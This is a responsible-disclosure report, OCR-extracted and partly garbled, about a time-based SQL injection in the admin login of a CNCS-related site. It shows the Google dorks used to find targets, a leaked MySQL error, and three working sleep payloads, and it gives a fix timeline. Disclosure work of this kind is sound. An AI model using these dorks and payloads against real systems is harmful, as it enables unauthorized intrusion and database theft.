Time-Based SQL Injection on a CNCS
asset

Miguel Santareno

03/14/2022




Summary:

A [ {4 oo [¥ ot i o] o PP U PP P PP PPN 3
2 ENUMEration Of targetS: oot e e et e e s sbee e e s sbaeeeeeans 4
I VU 1o =T -1 o111 42U 5

3.1 Time-Based SQL INJECLION .........cccuueeiieciieiieiiiee e ecitee ettt sctiee e ssrtee e s srte e e s s sreeeessbeeeeseans 5
A CONCIUSION: .ttt sttt et et e s bt e sheesat e sate et e e bt e be e beesbeesmteennesnneens 9

LSS 0 1 =1 L TN 10



1 Introduction:

This document intends to demonstrate a Time-Based SQL Injection vulnerability found in

https://cncs-back.softconcept.pt



2 Enumeration of targets:

Through the technique known as Google Dorking or Google Hacking it is possible to collect CNCS
websites.

intext:"© CNCS" -site:www.cncs.gov.pt site:pt-site:forms.cncs.gov.pt

intext:"@ CNCS" -site-www.cncs.gov.pt site:pt -site:forms_cncs. gow.pt X i

U LNLD BM FOMUgal promove a uliiZagao 0o CIDErespaco 0 uma Torma Ivie, conmnave! e
segura, através da melhoria continua da ciberseguranca nacional.

https:/fwww.focus2comply.pt » category » cncs -

CNCS - Focus2Comply
Cibersecurity CNCS General Governance, Risk & Compliance GRC 15022301 15027001
RGPD. No comments. click here to read more: "Hackers atacam os media para ...

https:/fcncs-back softconcept.pt -

CNCS - Centro Nacional de Ciberseguranca

20/04/2021 — O CNCS em Portugal promove a utilizagdo do ciberespago de uma forma livre,
confidvel e segura, através da melhoria continua da ..

Figure 1: CNCS websites


https://www.google.com/search?q=intext%3A%22%C2%A9+CNCS%22+-site%3Awww.cncs.gov.pt+site%3Apt+admin+-site%3Aforms.cncs.gov.pt&rlz=1C1CHBD_pt-PTPT953PT953&biw=2133&bih=1076&sxsrf=APq-WBsdrd542BYx6F5hae8IS4dqthlz0w%3A1644362469209&ei=5foCYomXDOnlsAebiCk&ved=0ahUKEwjJne_Gn_H1AhXpMuwKHRtECgA4ChDh1QMIDg&uact=5&oq=intext%3A%22%C2%A9+CNCS%22+-site%3Awww.cncs.gov.pt+site%3Apt+admin+-site%3Aforms.cncs.gov.pt&gs_lcp=Cgdnd3Mtd2l6EANKBAhBGAFKBAhGGABQngNY7UZg0EdoDHAAeACAAViIAcQPkgECMjmYAQCgAQHAAQE&sclient=gws-wiz

3 Vulnerability
3.1 Time-Based SQL Injection

Description: It is possible to inject SQL code in username field since the application is not
performing the correct validation and with that extract the application's database.

Severity: High

Affected system:

e https://cncs-back.softconcept.pt/admin/authentication -> username field

Proof of Concept:

| was checking the website and | checked robots.txt file and found an interesting entry /admin/

&« & O EJ https://cncs-back.softconcept.pt/robots.txt
User-agent: *

Bllow: [

Disallow: /admin/

Bllow: /protected/views/
Disallow: /protected/components)
Disallow: /protected/config/
Disallow: /protected/controllers/
Disallow: /protected/extensicons/
Disallow: /protected/models/
Disallow: /protected/runtime/
Disallow: /library/

Disallow: /[css/

Disallow: /assets/

Disallow: /galeria/

Disallow: /images/

Disallow: /[img/

Figure 2: Access to robots.txt


https://cncs-back.softconcept.pt/admin/authentication

After that | checked if | have permissions to access /admin/

O 8 httpsy//encs-back.

Username

Password

Forgot my password Ineed assistance

concept. All rights reserved.

Figure 3: Access to /admin/



After accessing /admin/ | decided to check if it may be vulnerable to SQL Injection by insert '

in field parameter and the application returned SQL errors.

CDbException

CDbCommand faied to execute the SQL statement: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that correspands to your MySQL server version far the right syntax
10 use near ™" at line 3. The SQL statement executed was: SELECT fp.cod_pessoa, pass

FROM f_pessoa fp

WHERE LOWER(fpJogin}) = ™

A i i/ db/ CObC ommand._php( 541}

1f($this->_connection-yenableProfiling)
¥11: :endProfile( " system.db.(DbCommand. query( *.$this->getText(}.$par. )", " system.db. CObCommand. query” };

SerrorInfo-Se instanceof PDOException ? $e->errorlnfo : null;
$nessage=Se->gethessage();
Yii::log(¥it: re('yil’, '(DbConmand: : (method) () failed: {error). The SQL statement exscuted was: (sql}.’,

array(*{method}'=>$method, ‘{error}'=>§message, '{sql}'=>$this->getText().5par)),CLogger: :LEVEL_ERROR, “system.db.CObConmand");

F(YIT_DESUG)
Smessage.-'. The SQL statement executed was: °.Sthis->getText().$par;

541 throw new CDbException(¥iisst('yii®, CObConmand failed to execute the SQL statement: {error}’,
4 array(*{error} =>$nessage)), (int)Se->getCode(), SerrarInfa);

o
* Builds a SQL SELECT statement from the given query specification.

= Goaram array Squery the query specification in name-value pairs. The following
* query options are supported: {glink select}, {Blink distinct}, {§link from},

* (glink where}, {glink join}, {§link group), {@link having), (Glink arder},

* (glink limit}, {glink offset} and {@link union}.

* greturn string the SQL statement

* @since 1.1.6

Figure 4: SQL Injection detection in username parameter

Based on the errors above mentioned | notice that the database may be MySQL.

After some manual tests | was able to perform Time-Based SQL Injection queries into the
application.

First Payload that | used was '+(select*from(select(sleep(5)))a)+' and the page return after 5
seconds.

- c O 8 o encs-back softconcept.pt/admin/authentication/login w © @ a @ =
B ~
Dados de autenticacdo errados.
'+(select*from(select(sleep(5)))a)}+' e
£ v
¥ O inspetor ) Consola D Depurador T Rede {} Editor de estilos () Desempenho 1 Meméria  [E) Armazensmento T Acessibilidade 55§ Aplicagéo 0: ) = X
@ | VFitaruR Il Q @ Tudo HIML CSS IS XHR Tiposdeletra Imagens Muitimédia WS Outro [ Desativarcache  Sem limitagdess ¢
Estado Método Dominio Ficheiro Iniciador Tipe Transferido Tamanho oms 02
POST @ ensbacksoftconc...  login a document htmi 527k8 578K8
GET @ cnes-backsoftconc..  jquery.minjs » seript htm! 5058 0B [ R

Figure 5: Sleep 5 seconds



Second Payload that | used was '+(select*from(select(sleep(10)))a)+' and the page return after
10 seconds.

o c O B hitpsy/encs-back softconcept.pt/admin ion/log w ® @ - P =
1 Dados de autenticagdo errados.
*+(select*from(select(sieep(10)))a)+{ P
& O inspetor Consola D Depurador P Rede  {} Editordeestilos (D Desempenho L Meméria [E) Armazenamento T Acessibilidade 553 Aplicacio 0: () - X
@ ¥ Filtrar UR Il Q @ Tudo HIML CS5 IS XHR Tiposdeletra Imagens Multimédia WS Outro [ Desatiarcache  Semlimitagiest 3§
Estado Método Dominio Fichelro Iniciador Tipo Transterido Tamanho oms ib2es (2
posT @ cnes-back softconc..  login ~ document e 62718 s78Ke

= @ cnes-backsoftconc..  auerymings n script htmi 5056 o8 W wrems

Figure 6: Sleep 10 seconds

Last Payload that | used was '+(select*from(select(sleep(15)))a)+' and the page return after 15

seconds.

<« (o] O B httpsi/jencs-backsoftconcept.pt/admin/authentication/iogin @ ® - @ =
~
1 Dados de autenticaco errados.
“+(select*from(select(sleep(15)))a)+|
@ O inspetor B Consola O Depurador T Rede ) Editor deestilos (D) Desempenho L Meméria [ Amazenamente T Acessibilidade 82 Aplicagio ©: [0 = X
0} I Q @ Tudo HIML CS5 JS XHR Tiposdeletra Imagens Multimédia WS Outro [ Desativarcache  Semlimitagdest 3§
Estado Método Dominio Fichelro Inidador Tipo Transterido Tamanho om: 2048 ¢
GET @ ocs-backsoftconc..  Jquerymings ~ saipt htmi 058 08 s ms

Figure 7: Sleep 15 seconds

Recommendation: Use the OWASP SQL Injection Prevention Cheat Sheet to prevent this
problem.

Impact: By exploiting this vulnerability an attacker can obtain the complete application
database.



https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

4 Conclusion:

Through this document, the Time-Based SQL Injection was demonstrated on a CNCS asset.

It is recommended to fix the vulnerability as soon as possible.



5 Timeline:

02/09/2022 - Report sent to cert@cert.pt

02/09/2022 - Cert receive email and confirms the vulnerability
03/14/2022 — Vulnerability fixed

03/14/2022 — Disclosure approval

03/14/2022 - Disclosed



